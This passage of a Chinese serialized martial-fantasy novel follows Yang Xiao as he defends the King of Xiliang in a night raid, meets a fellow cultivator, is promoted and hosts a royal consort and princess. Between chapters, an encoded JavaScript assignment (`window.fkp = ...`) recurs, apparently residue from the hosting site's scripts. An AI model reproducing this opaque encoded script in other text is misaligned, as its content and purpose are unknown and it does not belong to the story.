军队在边境上又走了一段日子,这天下午被一条大河挡住了去路。过了这条河再走上几天就是下一座城池,眼看天色不早西梁王下令立刻过河,等到达河对岸后再安营扎寨。结果正渡河渡到一半的时候,从上游忽然冲下来一股洪水阻断了大军渡河的计划。此时大部分人马已经渡过河去了,只留下一小部分人没有过河,而西梁王就在这小部分人里。 有侍卫来报:“河水突然暴涨,想来是上游降水所致,想要渡河怕是只有等洪水退去才行了。” 西梁王想了想,命令就地扎营等待洪水退去。有人建议为了西梁王的安全应该先退回附近的城池,或是从城中调兵前来保卫。西梁王拒绝道:“不管是回城还是调兵前来都需要好几天的时间,到时候只怕已经可以渡河而去了。”于是众人在河边选了一处地方扎下了营帐。 到了晚上,李伯通与另一名地方守将把属下都叫到一起吩咐道:“诸位将军都已经渡河,此地只留我等护卫王爷,你们要多加用心巡视。”众人领命而去。 到了后半夜,轮到杨笑与杨虎、杨豹兄弟巡夜。杨笑在内营巡视,杨虎、杨豹兄弟二人在外营查看。 兴许是白天的时候吃了什么不干净的东西,杨豹与兄长杨虎正巡视到一半时,杨豹突然觉得肚子里面一阵翻江倒海,那种滋味儿实在是难以忍受。于是杨豹捂着肚子说道:“兄长你且先走,我肚子有点不舒服,去方便一下。” 杨虎嘱咐道:“你不要走远了,快些回来。”杨豹一边点头应承着一边一溜小跑地消失在夜色中。杨虎摇摇头转身继续巡视去了。 俗话说人生三大爽:吃饭、睡觉、上茅房。这一边杨豹找了一处僻静之地拉的那叫一个痛快。完事之后正要起身离开时,忽然听到从不远处传来几声丁零当啷的声音。杨豹以为是哪个家伙跟自己一样半夜里跑肚拉稀,憋不住了跑出来方便,一时间心里起了一个恶趣味:“嘿嘿,也不知道是哪个家伙半夜里也跑出来拉屎,看我吓唬吓唬他。”于是杨豹提好裤子猫着腰悄悄地摸了过去。 当他把头悄悄的探出藏身的小土坡时,借着昏暗的月光,杨豹看到的是好些个身影鬼鬼祟祟的躲在那里,这些人手里好像还拿着什么东西一闪一闪地反射着月光。杨豹借着月光仔细的辨认了一下,心里顿时被吓了一跳,这分明就是一群意图不轨的家伙。“看样子应该不止眼前这些人。”杨豹眼珠子转了转心道:“我一个人肯定不是这些家伙的对手,得赶紧通知营里的兄弟们才是。” 杨豹转过身打算悄悄的返回大营,谁知道才走了没多远,一不小心脚下被什么东西绊了一下,险些栽倒在地。杨豹这边刚发出一点动静,身后立刻有人低喝了一声。 “是狄戎族的人!”通过对方的语言杨豹立刻知道了这些人的身份。见自己的形迹暴露,杨豹干脆大声喊道:“敌袭!有敌袭!……。” 杨豹一边大声的喊叫着一边往回跑,没跑几步就听到身后有破空声传来,他立刻就地一滚,几只箭矢射在身后的地面上。杨豹不敢停留,爬起身来继续喊叫着,连滚带爬地往回跑。这时候,后面的敌人也不再隐藏了,吹起号角,点起火把冲向大营。 另一边,大营里的西梁军早已被杨豹的叫声惊动,军营里一时间呼喝声四起,西梁军纷纷冲出帐篷手持兵器摆开了防御阵型。 月光下忽然有星星点点的微弱亮光伴着破空声急速飞来。杨虎目光一凝,急忙大声呼喊道:“避箭!避箭!” 话音未落,密密麻麻的箭矢便刺破空气落了下来,许多刚冲出帐篷还没来得及躲避的西梁军卒中箭倒地,一时间西梁军死伤了不少人马。 几排箭矢射过之后,许多营帐都燃起了大火,冲天的火光将四周的一切都照亮了。火光中,一群身穿兽皮麻布的蒙面人从四面八方冲了出来。杨豹抄起两把板斧大声骂道:“小兔崽子们,敢射你豹爷爷,让你们尝尝豹爷的厉害!”说着便率先冲了上去。 一时间喊杀声四起。 西梁军虽然个个奋勇,奈何敌人在人数上占优,又是突然袭击,没有多长时间便落入了下风。很快,一股敌军便突破了防线一直杀到了西梁王的帐前。 西梁王身边的亲卫们,一时间都被冲散了。 西梁王也是身经百战之人,见此情景丝毫没有惊慌失措,一把抽出腰间的佩剑与来犯之敌杀在了一处。 西梁王自幼习武,也有一番好身手,出手便一连刺倒了数个敌军。怎奈双拳难敌四手,再加上又上了些年纪,慢慢的气息便有些跟不上了,没一会儿就落入了万分凶险之境,有几次更是差一点就被砍伤。 这时,敌军的首领摆脱了对手后直冲西梁王而来。西梁王与其一交手便知道不是他的对手,一时间险象环生,被其逼的连连后退。那人趁势一跃而起,手中长剑直刺西梁王当胸而来。 就在西梁王深陷危机之时,一道破风之声呼啸而起,直向那袭杀之人的头颅而来。这道风声来得极快,那人若是不避不闪的话,在其刺中西梁王之前便要被那道风声击中头颅命丧当场。 最后,那名敌将不得不在半空中一个拧身,挥剑格挡。只听“叮”的一声脆响,火花四射,那敌将只觉一股大力袭来,直震得他虎口发麻,待其低头定睛去看时,原来是一个铁钉一般的东西被其打落在脚边。 正是杨笑的飞针。 这一记飞刀的手法还是杨笑当年在小山村里跟猎户们学来的。那时候没有什么像样的东西,只能用石子或是筷子来练习,现在有了这些飞针,杨笑的飞刀甩起来就更得心应手了。 西梁王趁此机会连忙后退几步与那人拉开了距离。那人见西梁王想要退走,正要追击,此时又是几道破风之声袭来,那人只好连连后退抵挡。 杨笑趁此机会一跃来到西梁王跟前,将其挡在身后。那人见有人来救援,似乎并不将来人放在眼里,握了握手中的剑再次冲了上来。杨笑叫一声:“王爷小心。”便提刀迎上前去与那人斗在了一起。 西梁王是否能够躲过这一劫?这些人又是如何知道了西梁王行踪的?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第五十四回 处境 上一回说到杨笑及时赶到,西梁王趁机与敌人拉开了距离,算是暂时解了性命之危。 再说那袭杀西梁王之人打落杨笑的一记飞针之后,虽说诧异于那飞针上的力道,但却似乎并不怎么把杨笑放在眼里的样子,斜头瞥了一眼杨笑后便又提剑杀了过来。 杨笑也趁此间隙看了一眼来人。此人黑纱遮面,只露出一双眼睛来,就冲这一幅浓眉大眼也能大致上看出此人的相貌应该不会太差。这人的身材与杨笑相仿,但相较杨笑显得更粗壮了一些。与其他袭击者不同之处的是面前之人并没有身穿兽皮麻布,而是穿了一身深灰色的短打布衣,从衣着打扮上看反而更像是周王朝之人。 见那人持剑刺来,杨笑提醒一声:“王爷小心!”挥开手里的钢刀一步迈出迎上前去。 那人上来一剑便直刺杨笑面门,杨笑挥刀劈开这一剑,紧接着回手一刀向其小腹削去。那人挥剑将杨笑的这一刀挑开,一脚踢向杨笑下盘。杨笑抬腿与其对拼一记,然后刀锋一转,一刀撩向对方的大腿。那人收腿跳开,杨笑欺身而上。 那人见杨笑追上来也不与他硬拼,只是一味边打边退,杨笑心知其打的什么注意,也不一味纠缠,而是追上两步后便又撤了回来,始终不离西梁王左右。 那人见杨笑不上当便挥手示意几名手下一拥而上,想要趁乱得手,怎料杨笑防守严密不给丝毫可乘之机,不但没有得手反而还被杨笑斩杀了两人。 就在双方僵持不下之时,杨虎杨豹也杀到了西梁王身边。杨笑对二人说道:“二位堂叔守在王爷身边千万莫要离开半步,待我会会此人究竟是何方神圣。”二人答应一声将西梁王护在身后。 杨笑上前两步提刀一指那蒙面之人说道:“阁下现在可以往后多退几步了。”言罢将刀一挥直奔那人而去。 杨笑没了身后的顾忌,将一柄钢刀舞动的就如车轮一般。那蒙面人也不甘示弱,把手里的长剑抖出一朵朵剑花。两人战在一起,拼了一记又一记,杨笑的刀势大力沉,那人的剑轻巧灵动,杨笑一刀劈去,那人一剑削来。你来我往间两个人很快就已经斗了十几个回合。 几个回合下来杨笑早已讶异于蒙面之人的身手,其战力远超自己以往遇到的对手,说他是自己从军以来所遇对手当中的第一人那是半点也不为过。 杨笑讶异于对方的同时,对面的蒙面人又何尝不吃惊与杨笑的身手?刚开始交手两个人还能硬拼上几记,可此番交手下来才知道杨笑刀上的气力到底有多大。在与杨笑硬碰硬的对拼之中每一次都被震的虎口生疼,有两次甚至险些脱手丢掉手中的兵器,十几个回合下来后就只得左躲右闪,不敢再跟杨笑硬拼了。 再有几个回合下来,那蒙面人身上已然挂了彩,虽然现在伤的不重,但任谁都能看得出来,用不了多长时间那蒙面人就要彻底败下阵来了。 就在此时,从河岸的方向传来一声大吼:“休伤吾王!”原来是对岸的西梁军见这边火光大作,知道情况不妙,也顾不得湍急的洪水了,纷纷脱掉甲胄,把兵器咬在嘴里,从河对岸游了过来。首当其冲的便是玄甲营大统领梁赞。 敌军见西梁援兵到来,心知今晚大事难成,便纷纷退去了。杨笑率人追了一段路,因为担心对方有埋伏,又怕是调虎离山之计,很快就又返了回来。 等杨笑回到大营时,大公子武恭正与几名将领围在西梁王身边,而李伯通此时正在向西梁王汇报战况:“……敌方来人似乎皆是死士,我军没能抓获一个活口,不过看他们的样子应该是狄绒族之人。”见杨笑归来便问道:“杨校尉可有所获?”杨笑摇摇头。 西梁王见状大怒道:“待本王回去之后定要彻查清楚,若真是这帮鞑靼们所为,本王定要让他们好看!” 在旁众人皆向西梁王复言。这时候杨笑上前一步躬身道:“王爷,卑职有句话不知当不当讲。” 西梁王刚被杨笑救了性命,正是对其心存好感之时,便收住怒容向杨笑说道:“杨校尉有话但讲无妨。” 杨笑抬头望了西梁王一眼忙又低头说道:“以小人之见现时间恐怕不宜与狄绒族大动干戈。” 西梁王:“哦?此话怎讲?” 杨笑接着说道:“一来,敌人既然敢来偷袭定是做好了准备有持无恐;二来,狄绒族这些年日渐强盛,而反观我大周,国力渐衰,这几年更是匪患四起,若此时与其交恶,恐怕到时候我西梁将难以得到朝庭的有力援助;三来,若是我们跟狄绒族拼成两败俱伤的话,岂不是正给了雪藩族机会?到那时,只怕我西梁就要生灵涂炭了。” 杨笑刚一说完就有人立刻指责道:“杨笑!你怎么长他人志气,灭自己威风!” 杨笑不卑不亢道:“杨笑只是就事而论!何况君子报仇十年不晚,待得朝庭平息了叛乱再战不迟。” 西梁王捋着胡须想了想说道:“嗯!杨校尉所言极是。本王不能为了一已之私而置我西梁子民于不顾。” 众人闻言齐躬身道:“王爷英明!” ……。 初秋时节,阶上草原的夜还是很冷的,渡河而来的将士们又都没有穿什么衣服,而胯下那片仅存的遮羞布也早在渡河的时候湿了个透透的。 西梁王让把多余的衣服分给大家,又把所剩的帐篷拆了撕成一块块的毯子,让没有衣服的将士们披在身上。大家挤成几团,围着火堆取暖,一夜下来把大营里能烧的东西全都烧了。这等境况当真是好不凄凉。 经此一役,众人担心西梁王的安危,有人提意为了西梁王的安全应该停止巡视立即返回西梁城。西梁王冷笑道:“来几个毛贼偷袭一下就想把本王吓回去?若真是那样的话我这个西梁王的位子不坐也罢!”于是天一放亮西梁王就命留在河对岸的将士就地扎营防守,然后带着没过河的士兵们返回附近的城池中修整去了。过了几天探马回报洪水已经退去,西梁王又率军过河而去。 与留守在河对岸的人马会合之后又接着向前赶路。经过几天的行军之后,西梁王一行人来到了霜塞城。 在这霜塞城还会发生什么事情?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第五十五回 叫一声道友 西梁王率军又一路向东走了几天,这一天来到了霜塞城。霜塞城在西梁境与狄戎族之间的边界上一系列城池中算得上是一座大城,也是此次西梁王巡视的几个主要目的地之一。 守将陈平,出身于台阶山里的猎户人家,从小跟随父辈打猎放牧。因当年救过一名西梁军中的校尉,后被其引入军中,从一名普通的士卒做起,一路上做到了一城之主。现任霜塞城总兵,管辖着方圆两三百里的地域。 陈平早已收到了西梁王遇袭的消息,一得到消息就立刻带领一队人马出城,前去保护西梁王。双方在半路上相遇,见到西梁王陈平自然先要向西梁王请罪,也无非是说一些“……未将失职,令我王身陷险境,还请我王降罪……”之类的话。西梁王又怎能真的降下责罚,双方场面一番后便继续往霜塞城进发了。 西梁王在霜塞城停留几天,仔细的查看了各处城防、牧场、帐目等事项,还听取陈平汇报了霜塞城近来的大小事务。对于霜塞城内外的事务西梁王给予了肯定的评价,对众将士褒奖鼓励一番。 事毕,陈平启奏西梁王:“未将听闻王爷途中遇袭,担心之余更是感到愤恨无比。狄戎族对我朝向来是狼子野心,如今又发生这样的事情,真乃欺人太甚!离此地不远有一处狄戎族部落聚居越冬之地,如今正是这些贼子们聚集之时,未将请命将这些贼人一网打尽!” 西梁王闻言心中一动,他捋了一下胡须点头道:“前些天本王遇袭,虽说没有抓到活口,但此事究竟是谁所为大家都心知肚明。如今虽不便与其大动干戈,但礼尚往来小小的惩戒一下还是可以的。” 在场之人闻言全都请命前往,经过一番争执后决定还是由熟悉当地情况的陈平挑选人马带队前往。一番计划与准备后当晚便有一队人马乘着月色出城而去。 杨笑并未选入此次偷袭狄戎族越冬之地的人马之中,用过晚饭后他便早早的回了房间。正当杨笑要入定修练之时一阵敲门声响起:“嘭!嘭!嘭!” “什么人?”杨笑闻声问道。 从门外传来一个厚重的声音:“杨校尉,我家统领有请。” 杨笑起身整理了一下身服,打开房门,见门外站着一名壮硕军卒。那军卒见到杨笑后拱手弯腰很是恭敬的说道:“见过杨笑尉。我家统领有请。” 杨笑还礼后打量了一下这名军卒问道:“可是玄甲营梁统领?” 那军卒回答:“正是我家统领。” 杨笑略一思量后说道:“还请前面带路。” 那名军卒将杨笑带到一处庭院中便告辞离开了。 杨笑左右看了几眼这座小院子。这是一座在周王朝的北方很常见的四方小院,四周是几间带出檐连廊的瓦房,房檐前的连廊在院子里围了一圈。院子里有两个大花坛,只不过里面的花早已连叶子都落的干干净净的了,只剩下干枯的枝丫,也看不出来是什么花。只有花坛里的两棵小树上还长着许多叶子,看样子应该是石榴树。黄色的树叶在灌进院子里的微风的吹抚下轻轻地摇曳着,再被从屋里透出来的淡黄色的烛光一照,金灿灿的,活脱脱的像两株摇钱树。藏在金叶子里的红石榴在树叶的抚动下时不时的露个小脸儿,像是一个个被寒风冻红了脸的小人儿,十分的好看。 早有两个年轻的侍女迎上前来。两个妙龄少女迈着轻巧的步伐走到杨笑跟前向杨笑盈盈一拜:“见过杨大人。” 杨笑还是头一回被人称作“大人”,一时间有些不习惯,忙向两名侍女抱拳一礼。尴尬的表情和有些生硬的动作逗的两个侍女扭头掩嘴,妩媚一笑。两个侍女并没有再与杨笑多说话,而是分作两边款款道:“杨大人请!”杨笑迈开步伐,两个侍女提着灯笼在前面引路。 侍女们把杨笑引至正房后便转身离开了。屋内一个铁塔般的身影正在等着杨笑,正是玄甲营大统领:梁赞。 此时梁赞正坐在一张桌子前品着茶水,那枚精致的小茶盅在梁赞的大手里就跟一粒小酸枣差不多,让人看起来难免觉得有些滑稽。 见杨笑进来,梁赞把手里的茶盅轻轻地放下,然后也不说话,而是起身绕着杨笑转了一圈,把杨笑上上下下的打量了个够,直看的杨笑忍不住的皱起了眉头。 梁赞不说话杨笑也不说话,就那么直挺挺的站在那里。等把杨笑看了个够以后梁赞才正色道:“自从上一次竞技场一别之后,咱们一直也没有机会坐下来叙上一叙。”梁赞向杨笑拱了拱手开口道:“认识一下,在下梁赞,不知道友如何称呼啊?” 杨笑蹙眉道:“道友?” 梁赞呵呵一声说道:“道友一身玄功如此扎实,就别不承认了。”说着回到座位上拿起桌上的茶盅向杨笑做了个“请”的动作,然后将杯中的茶一饮而尽。 杨笑坐到梁赞的对面:“我不知道你在说什么。” 梁赞细细的品过了杯中的茶水,又分别为杨笑和自己各倒了一杯茶:“道友不必紧张,实不相瞒,我也是修道之人,家师乃是花岛木真人。不知道友师从何处呀?” “我没有什么师门。”杨笑摇头道。 梁赞似是明了的“哦”了一声:“哦~散修。”转而又疑惑道:“咝……不像呀!不过看道友功法行事应该是正道中人,既然道友不愿意多说,梁某也不勉强。来,杨道友喝茶。” 杨笑端起面前的茶杯尝了一口。这一口茶刚喝到嘴里立刻便茶香满口,沁人心脾,浓浓的香气止不住的从嘴里还有鼻孔里溢出来。茶香虽然浓郁,却并不会让人觉得腻的慌,反而十分的清淡怡人,让人顿觉通体舒坦,连带着精神都清明了几分。杨笑从来没有喝过这么好喝的茶,忍不住赞了一声:“好茶!” 梁赞眯着一双眼睛笑道:“自然是好茶,这茶可不是这凡尘俗世所能有的。”梁赞说着又给杨笑倒了一杯:“杨道友请。” 杨笑又细细的品了几口,每一口都会让人感到清新无比。杨笑放下茶盅问道:“梁统领说这茶不是凡尘俗世所能有,难道是这天上的不成?” “杨道友如不嫌弃叫梁某一声道友即可。”梁赞喝完杯中的茶笑道:“天上不敢说,但要说是洞天福地所产却是半点不假。不瞒道友,此茶乃是我花岛所特有的一种灵茶,时常饮用可清明神台,助益修行。” 杨笑闻言心中一动:“哦!还有如此神效?” 梁赞道:“道友若是喜欢,我这里还有不少,可以赠送道友一些。” 杨笑先是有些动心,但转念一想:“这家伙凭白无故送我这么好的东西,不会是有什么事吧?”只见他有些腼腆的说道:“这么好的东西送给我,那多不好意思呀!” 梁赞摆手道:“哎!也不是什么多好的东西。就是想跟道友认识认识,以后也好能多多交流一些修行上的心得体会,道友不必多心。”……。 二人一番交谈。原来这梁赞是奉了师命到这凡俗间行走的,待到功德圆满之时便会回山继续修行,而他找到杨笑也只是单纯的对杨笑有好感,想要跟他交个朋友。对于杨笑的身份梁赞也不多问,必经他也知道有些修行之人在凡俗行走之时对这些东西还是比较在意的,并不愿意让人知道。 到底这梁赞找到杨笑是单纯的打声招呼交个朋友还是另有目的?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第五十六回 封赏 距离霜塞城两三百里的地方有一大一小两片湖泊,一大一小两条河流分别注入了这两片湖水中,然后混在一起再缓缓地流向远方。 湖泊经由一条狭窄的水道连在一起,湖里的水清澈见底,鱼儿们摇动着尾巴或缓缓地游动着或相互地追逐着。偶儿有一条“哗”的一声跃出水面,然后又“噗通”一声落进了水里,溅起一片水花。水花在湖面上荡起了一圈圈的波纹,那些波纹一圈一圈的荡到了湖岸边,然后消失在岸边的那一大片水草丛中。 湖水和小河的四周是一眼望不到边草原,有了水源的滋养四周的草地生长的异常的茂盛。丰盛的水草每年都会吸引许多牧民带着他们的牛羊来到这里。牧民们白天放牧打猎,到了晚上便围在篝火旁一边吃着烤肉喝着美酒一边载歌载舞。 生活在这里的人是狄戎族一个中型部落的一条支脉,他们这一支的族人每年都会到这里越冬。 今天晚上的篝火晚会分外的热闹,因为部落里最美丽的姑娘今天晚上就要嫁人了。 日落之后大家都来为这一对新人送上祝福。美丽的新娘子在一群孩童和女子的簇拥下把一张脸羞的通红,在篝火的映照下显得更加的美丽了。英俊强壮的新郎正被一帮男子们拉着灌酒,他今天特别的高兴,能娶到自己的心上人不知道让部落里多少年轻的小伙子们羡慕,他发誓今天晚上他要喝光部落里所有的美酒。然而他们都还不知道,这一切的美好就要被一场屠杀给打破了。 喜庆的气氛消磨了他们的意志,甘冽的美酒麻痹了他们的神经。就在整个部落全都沉浸在喜悦之中时,一支骑兵包围了这里。当篝火旁欢庆的人们发觉这一切时已经有许多牧民们倒在了血泊里。这些骑兵就像狂风一样席卷了这里的一切,包括他们的头颅……。 几天后霜塞城出征的队伍归来,他们带回了数不清的牛羊马匹,还有许多的金银财宝以及奴隶和女人。当晚霜塞城里便摆开了庆功宴,祝贺将士们得胜归来。 就在西梁军饮酒庆祝的同时,狄戎族某地的一座帐篷中,一个年轻的男子正席地而坐。另一个中年男子正满脸怒容的训斥着:“我怎么跟你说的?让你不要去,不要去,你偏偏不听,竟然还中途改道偷袭了西梁王的营帐!……。” 坐在地上的那个人不是别人,正是那夜与杨笑交手之人,此时他的肩膀上还缠着白色的绷带,看来那天晚上被杨笑伤的不轻。年轻男子还有些不服气的争辨道:“若是那天我成功了呢?再说了,当时我也不知道那是西梁王的大营……。” 中年人哪里会听他争辩,打断道:“成功了又能怎样?你杀了现在的西梁王,他们还会有下一个西梁王,到头来遭殃的还不是我们?不要以为你受了点高人的指点,学了一身武艺就觉得自己天下无敌了,那是西梁王!不是别人!他身边怎么可能没有高手保护呢?现在看看怎么样?栽到人家的手里了吧?”那人气的一边训斥着一边背着双手在地上走来走去:“眼下我族正是聚精会力之时,还不到跟周王朝开战的最好时机……。” 那坐在地上的年轻男子还是不服气:“那我杀了那狗屁王爷也是大功一件!” 中年男人被气的一只手一扬,做势就要打下去。可手举到半空才发现自己打也不是,不打也不是,最后只能无奈的又放了下来:“你是大功一件了,我们部落的子民呢?现在还只是一处越冬的营地被袭,到那个时候等待我们的可就是灭族的大祸呀!” 年轻的男子把头一歪,不服气的冷哼一声道:“大王不会不管我们的。” 中年男子气的把双手一抖说道:“我的祖宗诶!大王远在千里之外,他就是要管也要管得来才行啊!只怕是部落被屠灭好些天了大王才会收到消息,到时候又有什么用呢?” 年轻男子呼的站起来转身就要离开。中年男子见他要走便质问道:“你要去哪儿?你要去干什么?你给我老老实实的待着,不许乱跑!……。”年轻男子哪里还要听他说教,气哼哼的走出了帐篷,也不管身后的中年男子还在大声的嚷着:“你听见没有?……。” 原来这中年男子是这一部落的族长,那个年轻人则是他最小的弟弟:格朗。 格朗想要偷袭西梁边境上的一处小镇,好抢些财物和粮食以补充部落里越冬的物资,而他的哥哥不同意他这么做,格朗就偷偷的带了一队人马溜出了部落。谁知道走到一条河边时遇到了河水上涨无法过河,而这时他们发现了同样被挡在河边的西梁王。初开始的时候他们并不知道这是西梁王的营帐,还以为是哪个西梁的大官,于是便决定干脆改变目标偷袭这处营地,要是成功了也算是一个不小的收获。谁知道偷鸡不成反倒把自家的鸡给搭了进去,当时死伤不少人不说,这次更是蒙受了更大的损失。 西梁王这边,在霜塞城小小的出了一口气后便一路南下穿过台阶山,一边巡视着一边回西梁城去了。 杨笑跟随西梁王回到西梁城后在驿馆内休息一晚,第二天到王府里画卯登记后就算是正式的结束了这一次的行程。在西梁城里又采购了一些山庄需要的物品后便启程回家了。 杨笑回到蒲阳山庄没几天,西梁王的封赏就下来了,杨家叔侄三人护驾有功,皆有封赏。杨笑和杨虎杨豹两兄弟在东仓县军营的军务厅里接受了西梁王的懿旨。 杨笑督造有功本来就是要封赏的再加上这一次救了西梁王一命更是连升三级都不止,从一个从六品的督造校尉直接升到了正四品的忠武将军,明春西梁城听任。杨虎护驾有功,升任贡州府参将,官居从五品,待明年另有调任。而杨豹,及时预警又护驾有功,则接替了杨校的督造校尉,只不过比原先升了一级,由从六品升为正六品。 贡州府总兵李伯通,东仓县令及许多军中胞泽都来道贺,当晚蒲阳山庄里摆开了宴席酬谢宾朋。 升迁之后的杨笑在西梁又会有哪些际遇?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第五十七回 初见五公主 次年开春,杨笑前往西梁城领了骠骑营统领一职。骠骑营是西梁骑兵的一种,主要是以轻骑兵为主。西梁十九座州府加上几处重要关隘驻军的旗下都有各自所辖的骑兵,但骠骑营却是由西梁王府直接管辖指挥的骑兵。骠骑营在西梁境内分别有五六处驻地,杨笑所统领的军营驻地倒是离东仓县不远,时不时的还可以回家小住几日。 一转眼大半年又过去了。 这一天杨笑刚回到山庄回就听庄内的仆役来报,说是县令大人差人送来一封公文。杨笑拆开公文看了下里面的内容,原来是西梁王的一位侧王妃回乡省亲,归程时途经东仓县,得知杨笑就住在这里便要来蒲阳山庄看看,以表示对杨笑救驾西梁王的谢意。 杨笑收起公文,打算稍作休息后就到两位堂叔处商议此事,不想正午刚过杨虎杨豹二人就到了蒲阳山庄,同行的还有东仓县令、贡州府的一位执事以及一位侧王妃行辕的管事。 几个人相互寒暄客套过后,便就侧王妃驾临蒲阳山庄的相关事宜商量操办了起来。 按照那位侧王妃行辕管事所说:这位侧王妃在娘家时小名里带一个慧字,于是被西梁王封为慧王妃。慧王妃此行,一是顺道看望三位有功之臣,主要就是杨笑,以示王府体恤;第二就是慧王妃连日赶路有些乏累,要在蒲阳山庄小憩几日,所以一切从简,也不要安排什么热闹的,劳心劳力的东西。于是几个人就按这个要求商议了一个简单的迎接仪式,在山庄里准备出一处环境幽静的院落来。 隔日,众人早早的就在山庄门口排开了队列恭候慧王妃的驾临。等到将近午时,远远的见一队人马行来,没有鼓乐齐鸣,也没有锣鼓开道。等离的近一些了,就看到贡州府总兵李伯通骑着马在前面开道,其身后的车辇竟是西梁王府正宫銮驾。在场几个人各自相互望了一眼,都感到有些意外。这时那位慧王妃行辕管事开口说道:“各位不用奇怪,王妃娘娘与我家娘娘姐妹情深,此次我家娘娘回乡省亲,王妃娘娘特赐正宫銮驾已示体恤。”众人这才恍然大悟。 等到慧王妃的车辇停在蒲阳山庄的大门前,众人全都跪俯在地口呼:“恭迎娘娘千岁!” 珠帘罗幕掀起,慧王妃款款步下车辇,双手轻抬:“平身!”如莺似燕的声音无形之中自带着一种威仪而不失慈祥的气势。 众人谢恩起身。这时杨笑才在人群中抬头悄悄的望了一眼慧王妃:果然福贵端庄,虽人至中年却依旧容貌过人,可见年轻时定然是一位貌美姝丽的美人儿。 在慧王妃的身边还跟着一个俊俏的少女。那少女出落的婷婷玉立,让人一见就不由的要赞一声“好一个二八俏佳人”。此少女不是别人,乃是慧王妃生女,西梁王的五公主:武星洛,小名叫个婉儿。 婉儿跟在母亲的身边拿眼不住的瞧向众人,当看到杨笑时,见杨笑一表人才,相貌不凡,不免多看了几眼。 很快杨落儿将慧王妃恭迎至大厅,分君臣落座后早有仆人奉上香茶。慧王妃对在坐众人一番勉励,称赞杨家一门将才杨笑更是年轻有为,并向杨笑及杨虎杨豹三人表达了谢意。众人都跪拜谢恩并大表对西梁王的忠心。 茶点过后将宴席摆了上来。席间慧王妃问道:“这位应该就是落儿姑娘了吧?” 杨落儿起身施礼道:“正是民女。” 慧王妃把杨落儿从头到脚打量了一番:“嗯!还真是个标致的美人儿。” 听到慧王妃的话杨落儿的脸上飞起一片红霞:“娘娘过誉了,民女愧不敢当。” “唉呀!什么愧不敢当的,你的容貌在咱们西梁也是上上之资了。”慧王妃面含笑意:“听说王爷还赐了你诰命的封号?” 杨落儿回道:“王爷抬爱,民女受宠若惊。” 慧王妃摇头道:“你都是诰命之身了还民女民女的。不说别的,只说你能把你弟弟这等青年才俊送到咱们西梁来,那就是大功一件了。当得!当得!” 宴席之中宾主尽欢,而五公主在席间又不免多看了杨笑几眼,这一切又怎么逃得过慧王妃这个做母亲的眼睛。 酒过三巡,菜过五味。杨落儿见慧王妃已有些疲态便关心的询问一句。慧王妃摆手道:“不打紧,只是连日车马颠簸,又有个夜里睡不好觉的老毛病,所以有些乏了。” 杨落儿开口道:“民女家中有一味祖传的安神丹药,一会儿娘娘服下后睡上一觉定会精神百倍的。” 慧王妃起身拉住了杨落儿的手一边端详着杨落儿的模样一边说道:“你这妮子我一见就喜欢的紧,走,咱们去说会儿体己话去。”说着就拉着杨落儿向后走去,也不管后面众人。 一边走着慧王妃一边说道:“说起来你家的事呀……我也有所耳闻,这样说起来咱娘儿俩也算是同命相怜呢。” 杨落儿有些不解。 慧王妃接着说道:“我也是在很小的时候母亲就身染重病去世了。”慧王妃说着脸上便露出些许戚戚之色来。 杨落儿歉意道:“落儿不该钩起娘娘的伤心事。” 慧王妃摆摆手:“唉!哪儿的话。我那时候还小的很,跟本不记事,所以也就谈不上有多伤心……。” “娘娘您吉人自有天相。” “什吉人天相,还不是稀里糊涂的就活到了今天。倒是你们姐弟两个,还真是能干,小小年纪就有了这番成就。” “娘娘您真是过奖了。” “诶?说起来你那个兄弟今年多大了?” ……。 就这样慧王妃拉着杨落儿的手,一路穿过走廊,边聊边往后院去了。 欲知后事如何,且听下回分解。 …………………………………………………………………………………………………………………………………………………………………………………………………………… window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第五十八回 月光下的邂逅 晚饭只有杨笑姐弟两个陪侍在慧王妃母女左右。经过一番休息后慧王妃的精气神儿明显足了许多,精气神儿足了连带着心情也十分的好:“你这个丹药果然不错,是从哪儿弄来的?回去的时候我可要带上一些。” 杨落儿回答道:“回娘娘这祖传的丹药都是小弟杨笑所制,民女这就为娘娘准备一些。” 慧王妃有些意外道:“哦?想不到杨将军还有这么好的医术。” 这个安神助眠的丹药其实是杨笑专门给杨落儿做的,杨落儿平日里管理山庄的大小事物难免劳心劳力,于是杨笑就根据祖传的药方做成了这种安神助眠的丹药供姐姐劳累时服用。 来到餐厅,慧王妃见饭菜按主次位置分别摆放着,便说道:“就咱们几个人,用不着这般拘谨。”说着就命人将饭菜都摆到了一张大桌上,四个人围坐在一起。 